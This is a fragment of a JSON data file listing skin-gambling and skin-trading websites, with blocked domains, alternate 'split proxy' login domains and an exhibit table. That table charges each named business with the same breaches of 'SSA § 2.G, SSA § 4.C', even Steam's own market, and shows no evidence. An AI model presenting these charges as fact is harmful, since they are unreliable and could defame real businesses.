                "BLOCKED",
                "kdauth.com",
                "CLEAN",
                "2026-05-13",
                "PASSIVE_CAPTURE"
              ],
              [
                "17",
                "clash.gg",
                "BLOCKED",
                "clggauth.com",
                "CLEAN",
                "2024-09-16",
                "PASSIVE_CAPTURE"
              ],
              [
                "18",
                "c5game.com",
                "BLOCKED",
                "www.imbastar.com",
                "CLEAN",
                "2016-02-27",
                "PASSIVE_CAPTURE"
              ],
              [
                "19",
                "swap.gg",
                "BLOCKED",
                "swapauth.com",
                "CLEAN",
                "2018-10-06",
                "PASSIVE_CAPTURE"
              ],
              [
                "20",
                "shadowpay.com",
                "BLOCKED",
                "thelogins.com",
                "CLEAN",
                "2018-01-22",
                "PASSIVE_CAPTURE"
              ],
              [
                "21",
                "csgocases.com",
                "BLOCKED",
                "log-1n.com",
                "CLEAN",
                "2017-11-27",
                "PASSIVE_CAPTURE"
              ],
              [
                "22",
                "csgogem.com",
                "BLOCKED",
                "api.csgem.com",
                "CLEAN",
                "2014-03-08",
                "PASSIVE_CAPTURE"
              ],
              [
                "23",
                "gamdom.com",
                "BLOCKED",
                "login.gambldom.com",
                "CLEAN",
                "2017-09-24",
                "PASSIVE_CAPTURE"
              ],
              [
                "24",
                "12cs.fail",
                "BLOCKED",
                "fail.games",
                "CLEAN",
                "2021-08-24",
                "PASSIVE_CAPTURE"
              ],
              [
                "25",
                "skinsnipe.com",
                "BLOCKED",
                "pricing.tradeupspy.com",
                "CLEAN",
                "2020-03-11",
                "PASSIVE_CAPTURE"
              ],
              [
                "26",
                "csgobig.com",
                "BLOCKED",
                "letmeinbig.com",
                "CLEAN",
                "2023-01-20",
                "PASSIVE_CAPTURE"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "",
            "rows": [
              [
                "Exhibit",
                "Entity Name & Main Domain",
                "Observed Auth Route / Proxy",
                "Classification",
                "Contractual Breach",
                "Valve Action"
              ],
              [
                "EX-001",
                "CSGORoll\ncsgoroll.com",
                "www.csgoroll.com\nDIRECT",
                "Skin Gambling",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-002",
                "CSGOEmpire\ncsgoempire.com",
                "csgoempirelogin4.com\nSPLIT PROXY",
                "Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-003",
                "Rollbit\nrollbit.com",
                "rbsnin.com\nSPLIT PROXY",
                "Crypto Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-004",
                "500 Casino\n500.casino",
                "fivezerozero.co\nSPLIT PROXY",
                "Licenced Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-005",
                "CSGOBig\ncsgobig.com",
                "csgobig.com\nDIRECT",
                "Roulette/Slots",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-006",
                "CaseDrop\ncasedrop.com",
                "casedrop.com\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-007",
                "RustReaper\nrustreaper.com",
                "rustreaper.com\nDIRECT",
                "Rust Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-008",
                "BanditCamp\nbanditcamp.com",
                "banditcamp.com\nDIRECT",
                "Rust Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-009",
                "SkinBox\nskinbox.com",
                "skinbox.com\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-010",
                "TastyDrop\ntastydrop.com",
                "tastydrop.com\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-011",
                "CSGOPolygon\ncsgopolygon.gg",
                "csgopolygon.gg\nDIRECT",
                "Roulette Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-012",
                "MagicDrop\nmagicdrop.ru",
                "magicdrop.ru\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-013",
                "CSDice\ncsdice.com",
                "csdice.com\nDIRECT",
                "Dice Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-014",
                "Rustly\nrustly.com",
                "rustly.com\nDIRECT",
                "Rust Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-015",
                "SkinOdds\nskinodds.com",
                "skinodds.com\nDIRECT",
                "Upgrader Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-016",
                "CSGOWin\ncsgowin.com",
                "csgowin.com\nDIRECT",
                "Skin Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-017",
                "CSGORun\ncsgorun.net",
                "csgorun.net\nDIRECT",
                "Crash Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-018",
                "OpenSkins\nopenskins.com",
                "openskins.com\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-019",
                "RustBet\nrustbet.com",
                "rustbet.com\nDIRECT",
                "Rust Gambling",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-020",
                "CSGOMagic\ncsgomagic.com",
                "csgomagic.com\nDIRECT",
                "Skin Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-021",
                "CSGOBounty\ncsgobounty.com",
                "csgobounty.com\nDIRECT",
                "Upgrader/Contract",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-022",
                "EZSkins\nezskins.com",
                "ezskins.com\nDIRECT",
                "Skin Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-023",
                "RustCases\nrustcases.com",
                "rustcases.com\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-024",
                "CSGOReaper\ncsgoreaper.com",
                "csgoreaper.com\nDIRECT",
                "Skin Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-025",
                "CSGOCases\ncsgocases.com",
                "csgocases.com\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-026",
                "CSGO-Skins\ncsgo-skins.com",
                "csgo-skins.com\nDIRECT",
                "Case Upgrader",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-027",
                "CSGONet\ncsgonet.com",
                "csgonet.com\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-028",
                "WTFSkins\nwtfskins.com",
                "wtfskins.com\nDIRECT",
                "Skin Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-029",
                "CSGOFast\ncsgofast.com",
                "steam-login.authtofast.com\nSPLIT PROXY",
                "Roulette Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-030",
                "Duelbits\nduelbits.com",
                "switchflips.com\nSPLIT PROXY",
                "Crypto Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-031",
                "FlameCases\nflamecases.com",
                "flamecases.com\nDIRECT",
                "Case Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-032",
                "Farmskins\nfarmskins.com",
                "steam.kobal.cc\nSPLIT PROXY",
                "Case Opener",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-033",
                "CSGOLuck\ncsgoluck.com",
                "csgoluck.com\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-034",
                "Gamedom\ngamedom.com",
                "gamedom.com\nDIRECT",
                "Crypto Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-035",
                "Skin.Club\nskin.club",
                "sc-auth.net\nSPLIT PROXY",
                "Case Battles",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-036",
                "DaddySkins\ndaddyskins.com",
                "daddyskins.com\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-037",
                "Insane.gg\ninsane.gg",
                "api.insane.gg\nDIRECT",
                "Skin Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-038",
                "Rustix\nrustix.gg",
                "rustix.gg\nDIRECT",
                "Rust Gambling",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-039",
                "Skins.Club\nskins.club",
                "skins.club\nDIRECT",
                "Skin Upgrade",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-040",
                "CSGOHouse\ncsgohouse.org",
                "csgohouse.org\nDIRECT",
                "Skin Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-041",
                "SkinRave\nskinrave.net",
                "skinrave.net\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-042",
                "BloodyCase_GG\nbloodycase.gg",
                "bloodycase.gg\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-043",
                "CSGOClicker\ncsgoclicker.com",
                "csgoclicker.com\nDIRECT",
                "Clicker/Upgrade",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-044",
                "RustBet_GG\nrustbet.gg",
                "rustbet.gg\nDIRECT",
                "Rust Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-045",
                "CS_Drop\ncs-drop.com",
                "cs-drop.com\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-046",
                "HellStore\nhellstore.net",
                "hellstore.net\nDIRECT",
                "Skin Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-047",
                "RustLoot\nrustloot.com",
                "rustloot.com\nDIRECT",
                "Rust Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-048",
                "CSGO_Case\ncsgo-case.com",
                "csgo-case.com\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-049",
                "CS2Skin\ncs2skin.com",
                "cs2skin.com\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-050",
                "Juice_GG\njuice.gg",
                "letmeinjuice.com\nSPLIT PROXY",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-051",
                "GGDrop\nggdrop.com",
                "ggauth.com\nSPLIT PROXY",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-052",
                "CSGOGem\ncsgogem.com",
                "csgogem.com\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-053",
                "Rainbet\nrainbet.com",
                "services.rainbet.com\nDIRECT",
                "Crypto Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-054",
                "Howl_GG\nhowl.gg",
                "howl.uno\nSPLIT PROXY",
                "Skins Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-055",
                "Chicken_GG\nchicken.gg",
                "chicken.gg\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-056",
                "CSGOCasino_GG\ncsgocasino.gg",
                "api.csgocasino.gg\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-057",
                "Hunt_GG\nhunt.gg",
                "api.hunt.gg\nDIRECT",
                "Skins Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-058",
                "CSBattle\ncsbattle.com",
                "csbattle.com\nDIRECT",
                "Case Battles",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-059",
                "SkinRave_GG\nskinrave.gg",
                "api.skinrave.gg\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-060",
                "CSDouble\ncsdouble.gg",
                "csdouble.gg\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-061",
                "RustChance\nrustchance.com",
                "hgfuihd.com\nSPLIT PROXY",
                "Rust Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-062",
                "RustClash\nrustclash.com",
                "rustclash.com\nDIRECT",
                "Rust Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-063",
                "CobaltLab\ncobaltlab.tech",
                "cobaltauth.com\nSPLIT PROXY",
                "Rust Automation",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-064",
                "Raided_GG\nraided.gg",
                "api.raided.gg\nDIRECT",
                "Rust Roulette",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-065",
                "RustNeo\nrustneo.gg",
                "rustneo.gg\nDIRECT",
                "Rust Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-066",
                "Splits_GG\nsplits.gg",
                "splits.gg\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-067",
                "Upgrader_Pro\nupgrader.pro",
                "upgauth.space\nSPLIT PROXY",
                "Skin Upgrader",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-068",
                "SkinFans\nskin.fans",
                "auth.skinfans.com\nSPLIT PROXY",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-069",
                "HotPizza\nhotpizza.one",
                "hotpizza.one\nDIRECT",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-070",
                "G4Skins\ng4skins.com",
                "auth.g4s.to\nSPLIT PROXY",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-071",
                "12CS_Fail\n12cs.fail",
                "12cs.fail\nDIRECT",
                "Crash Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-072",
                "TF2Royal\ntf2royal.com",
                "tf2auth.com\nSPLIT PROXY",
                "TF2 Gambling",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-073",
                "TF2Easy\nwww.tf2easy.com",
                "www.tf2easy.com\nDIRECT",
                "TF2 Gambling",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-074",
                "TF2Hunt\ntf2hunt.com",
                "rstspcl.com\nSPLIT PROXY",
                "TF2 Gambling",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-075",
                "TF2Bet\ntf2.bet/coinflip",
                "tf2.bet\nDIRECT",
                "TF2 Gambling",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-076",
                "TF2Blaze\ntf2blaze.com",
                "tf2blaze.com\nDIRECT",
                "TF2 Gambling",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-077",
                "OpenStars_GG\nopenstars.gg",
                "openstars.gg\nDIRECT",
                "Skin Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-078",
                "Shuffle_Com\nshuffle.com",
                "shuffle.com\nDIRECT",
                "Crypto Casino",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-079",
                "Skins.com\nskins.com",
                "api.skins.com\nDIRECT",
                "CS2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-080",
                "White.Market\nwhite.market",
                "white.market\nDIRECT",
                "P2P Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-081",
                "Buff.Market\nbuff.market",
                "buff.market\nDIRECT",
                "CS2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-082",
                "Avan.Market\navan.market",
                "avan.market\nDIRECT",
                "CS2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-083",
                "CS.MONEY\ncs.money",
                "auth.dota.trade\nSPLIT PROXY",
                "Trading Engine",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-084",
                "UUSkins\nuuskins.com",
                "uuskins.com\nDIRECT",
                "P2P Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-085",
                "YouPin898\nyoupin898.com",
                "youpin898.com\nDIRECT",
                "Mass Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-086",
                "Moon.Market\nmoon.market",
                "moon.market\nDIRECT",
                "P2P Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-087",
                "CSFloat\ncsfloat.com",
                "csgofloat.com\nSPLIT PROXY",
                "P2P Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-088",
                "Skin.Land\nskin.land",
                "auth.skin.land\nDIRECT",
                "Skins Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-089",
                "C5Game\nc5game.com",
                "c5game.com\nDIRECT",
                "CS2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-090",
                "HaloSkins\nhaloskins.com",
                "haloskins.com\nDIRECT",
                "Skins Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-091",
                "Buff.163\nbuff.163.com",
                "buff.163.com\nDIRECT",
                "Corporate Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-092",
                "Waxpeer\nwaxpeer.com",
                "waxpeer.com\nDIRECT",
                "P2P Marketplace",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-093",
                "CS.MONEY Bot\ncs.money",
                "auth.dota.trade\nSPLIT PROXY",
                "Bot Trading",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-094",
                "Market.CSGO\nmarket.csgo.com",
                "dota2.net\nSPLIT PROXY",
                "P2P Marketplace",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-095",
                "Skinport\nskinport.com",
                "skinport.app\nSPLIT PROXY",
                "Regulated Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-096",
                "SkinFlow\nskinflow.gg",
                "api.skinflow.gg\nDIRECT",
                "Marketplace/Swap",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-097",
                "DMarket\ndmarket.com",
                "dmarket.com\nDIRECT",
                "US Marketplace",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-098",
                "Skin.place\nskin.place",
                "api.skin.place\nDIRECT",
                "Skins Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-099",
                "SkinsMonkey\nskinsmonkey.com",
                "skinsmonkey.com\nDIRECT",
                "Instant Swap",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-100",
                "SkinBaron\nskinbaron.de",
                "skinbaron.com\nSPLIT PROXY",
                "Corporate Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-101",
                "Steam\nsteamcommunity.com/market",
                "steamcommunity.com/market\nDIRECT",
                "Official Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-102",
                "RustTM\nrust.tm",
                "dota2.net\nSPLIT PROXY",
                "Rust Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-103",
                "PirateSwap\npirateswap.com",
                "login.pirateswap.com\nDIRECT",
                "Instant Swap",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-104",
                "Mannco.Store\nmannco.store",
                "mannco.store\nDIRECT",
                "TF2 Marketplace",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-105",
                "SkinSwap\nskinswap.com",
                "api.skinswap.com\nDIRECT",
                "Instant Swap",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-106",
                "LootFarm\nlootfarm.com",
                "lootfarm.com\nDIRECT",
                "Trading Platform",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-107",
                "Rustskins\nrustskins.com",
                "rustskins.com\nDIRECT",
                "Rust Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-108",
                "ExeSkins\nexeskins.com",
                "exeskins.com\nDIRECT",
                "P2P Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-109",
                "BalticSkins\nbalticskins.com",
                "balticskins.com\nDIRECT",
                "Skins Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-110",
                "CS.Trade\ncs.trade",
                "cs.trade\nDIRECT",
                "Instant Swap",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-111",
                "RapidSkins\nrapidskins.com",
                "api.rapidskins.com\nDIRECT",
                "CS2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-112",
                "TradeIt\ntradeit.gg",
                "connect-tradeit.com\nSPLIT PROXY",
                "CS2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-113",
                "Krakatoa\nkrakatoa.com",
                "krakatoa.com\nDIRECT",
                "CS2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-114",
                "ShadowPay\nshadowpay.com",
                "shadowpay.com\nDIRECT",
                "P2P Marketplace",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-115",
                "49skins\n49skins.com",
                "api.49skins.com\nDIRECT",
                "CS2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-116",
                "SkinVault\nskinvault.gg",
                "api.skinvault.gg\nDIRECT",
                "CS2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-117",
                "Aim Market\naim.market",
                "aim.market\nDIRECT",
                "Skins Trading",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-118",
                "Skinout\nskinout.gg",
                "auth.skinout.gg\nDIRECT",
                "Instant Sell Portal",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-119",
                "NTSkins\nntskins.com",
                "ntskins.com\nDIRECT",
                "Skins Trading",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-120",
                "IGXE\nigxe.cn",
                "igxe.cn\nDIRECT",
                "Chinese Powerhouse",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-121",
                "Swap.gg\nswap.gg",
                "swap.gg\nDIRECT",
                "Automated Swap",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-122",
                "Bitskins\nbitskins.com",
                "bitskins.com\nDIRECT",
                "Cash-out Portal",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-123",
                "GamerPay\ngamerpay.gg",
                "gamerpay.gg\nDIRECT",
                "P2P Portal",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-124",
                "TF2Mart\ntf2mart.com",
                "tf2mart.com\nDIRECT",
                "TF2 Automation",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-125",
                "SkinBid\nskinbid.com",
                "skinbid.com\nDIRECT",
                "Skin Auctions",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-126",
                "LootBear\nlootbear.com",
                "lootbear.com\nDIRECT",
                "Skin Rental",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-127",
                "Backpack.tf\nbackpack.tf",
                "backpack.tf\nDIRECT",
                "TF2 Valuation",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-128",
                "Scrap.tf\nscrap.tf",
                "scrap.tf\nDIRECT",
                "TF2 Scrap Swap",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-129",
                "Marketplace.tf\nmarketplace.tf",
                "marketplace.tf\nDIRECT",
                "TF2 Cashout",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-130",
                "STNTrading\nstntrading.eu",
                "stntrading.eu\nDIRECT",
                "TF2 Botnet",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-131",
                "Skins.Cash\nskins.cash",
                "skinscash.live\nSPLIT PROXY",
                "Instant Cashout",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-132",
                "SkinWallet\nskinwallet.com",
                "skinwallet.com\nDIRECT",
                "Instant Cashout",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-133",
                "Dota2Market\ndota2market.com",
                "dota2market.com\nDIRECT",
                "Dota 2 Market",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-134",
                "CSGO.NET\ncsgo.net",
                "cn2.easylot.net\nSPLIT PROXY",
                "Case Opening",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-135",
                "Cybershoke\ncybershoke.net",
                "auth.cybershoke.net\nDIRECT",
                "Community Hub",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-136",
                "XPlay_GG\nxplay.gg",
                "xplay.gg\nDIRECT",
                "Server Network",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-137",
                "FastCup\nfastcup.net",
                "api.fastcup.net\nDIRECT",
                "Matchmaker Hub",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-138",
                "Esportal\nesportal.com",
                "esportal.com\nDIRECT",
                "Matchmaking Portal",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-139",
                "GamersClub\ngamersclub.com.br",
                "gamersclub.com.br\nDIRECT",
                "LATAM Hub",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-140",
                "Leetify\nleetify.com",
                "leetify.com\nDIRECT",
                "SaaS Analytics",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-141",
                "Scope_GG\nscope.gg",
                "scope.gg\nDIRECT",
                "SaaS Analytics",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-142",
                "TradeUpSpy\ntradeupspy.com",
                "api.tradeupspy.com\nDIRECT",
                "SaaS Tools",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-143",
                "Epidemic_GG\nepidemic.gg",
                "epidemic.gg\nDIRECT",
                "SaaS Tools",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-144",
                "CSDeals\ncs.deals",
                "api.cs.deals\nDIRECT",
                "Marketplace",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-145",
                "Pricempire\npricempire.com",
                "pricempire.com\nDIRECT",
                "SaaS Price DB",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-146",
                "CS2Stash\ncs2stash.com",
                "cs2stash.com\nDIRECT",
                "SaaS Index",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-147",
                "CSGOSkins\ncsgoskins.gg",
                "csgoskins.gg\nDIRECT",
                "SaaS Index",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-148",
                "SteamAnalyst\nsteamanalyst.com",
                "steamanalyst.com\nDIRECT",
                "SaaS Index",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-149",
                "SteamCardExchange\nsteamcardexchange.net",
                "steamcardexchange.net\nDIRECT",
                "Trading Exchange",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-150",
                "DotaBuff\ndotabuff.com",
                "dotabuff.com\nDIRECT",
                "SaaS Tracker",
                "SSA § 2.G, SSA § 4.C",
                "See dated evidence"
              ],
              [
                "EX-151",
